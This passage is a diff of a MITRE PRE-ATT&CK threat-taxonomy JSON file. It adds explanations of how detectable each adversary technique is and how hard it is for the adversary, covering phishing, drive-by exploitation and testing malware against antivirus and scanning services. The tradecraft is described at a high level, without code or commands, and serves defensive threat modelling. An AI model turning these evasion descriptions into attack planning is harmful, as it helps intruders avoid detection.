                     "kill_chain_name": "mitre-pre-attack",
@@ -5355,16 +5661,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Targeted client-side exploitation",
-            "description": "A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user.  However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense.  Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.  The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed.  Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.  The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5398,16 +5706,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defensive technologies exist to scan web content before delivery to the requested end user.  However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense.  Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.  The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed.  Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.  The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Targeted social media phishing",
-            "description": "Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not.  Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5433,16 +5743,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not.  Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Sending messages to individuals identified as a target follows normal tradecraft for using social media."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Task requirements",
-            "description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5468,16 +5780,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test ability to evade automated mobile application security analysis performed by app stores",
-            "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5511,16 +5825,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test callback functionality",
-            "description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5542,16 +5858,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test malware in various execution environments",
-            "description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5573,16 +5891,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test malware to evade detection",
-            "description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5604,16 +5924,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test physical access",
-            "description": "An  adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: No",
+            "description": "An  adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5639,16 +5961,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test signature detection",
-            "description": "An adversary can test the detections of malicious emails or files by using  publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can test the detections of malicious emails or files by using  publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect.  If the adversary uses a hostile, less well-known service, the defender would not be aware.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to automate upload/email of a wide range of data packages.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5670,16 +5994,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect.  If the adversary uses a hostile, less well-known service, the defender would not be aware.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easy to automate upload/email of a wide range of data packages."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test signature detection for file upload/email filters",
-            "description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection.  Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5701,16 +6027,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection.  Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Current open source technologies and websites exist to facilitate adversary testing of malware against signatures."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Unauthorized user introduces compromise delivery mechanism",
-            "description": "If an adversary can gain physical access to the target's environment they can introduce a variety of  devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "If an adversary can gain physical access to the target's environment they can introduce a variety of  devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment.  Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5732,16 +6060,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "This varies depending on the amount of monitoring within the environment.  Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "This likely requires the adversary to have close or insider access to introduce the mechanism of compromise."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Unconditional client-side exploitation/Injected Website/Driveby",
-            "description": "A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page.  The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page.  The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection.  Encryption and other techniques reduces the efficacy of these defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible.  However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5767,16 +6097,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection.  Encryption and other techniques reduces the efficacy of these defenses.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Placing an exploit on a public web site for driveby types of delivery is not impossible.  However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Untargeted client-side exploitation",
-            "description": "A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user.  However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense.  Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5798,16 +6130,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defensive technologies exist to scan web content before delivery to the requested end user.  However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense.  Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Upload, install, and configure software/tools",
-            "description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5833,16 +6167,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Use multiple DNS infrastructures",
-            "description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs.  Various tools and services exist to track/query/monitor domain name registration information.  However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires more planning, but feasible.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5864,14 +6200,16 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This is by design captured in public registration logs.  Various tools and services exist to track/query/monitor domain name registration information.  However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires more planning, but feasible."
         },
         {
             "type": "intrusion-set",
             "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.955Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT1",
             "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)",
             "aliases": [
@@ -5901,14 +6239,15 @@
             "id": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.537Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT12",
-            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda) It is also known as DynCalc, IXESHE, and Numbered Panda. (Citation: Moran 2014) (Citation: Meyers Numbered Panda)",
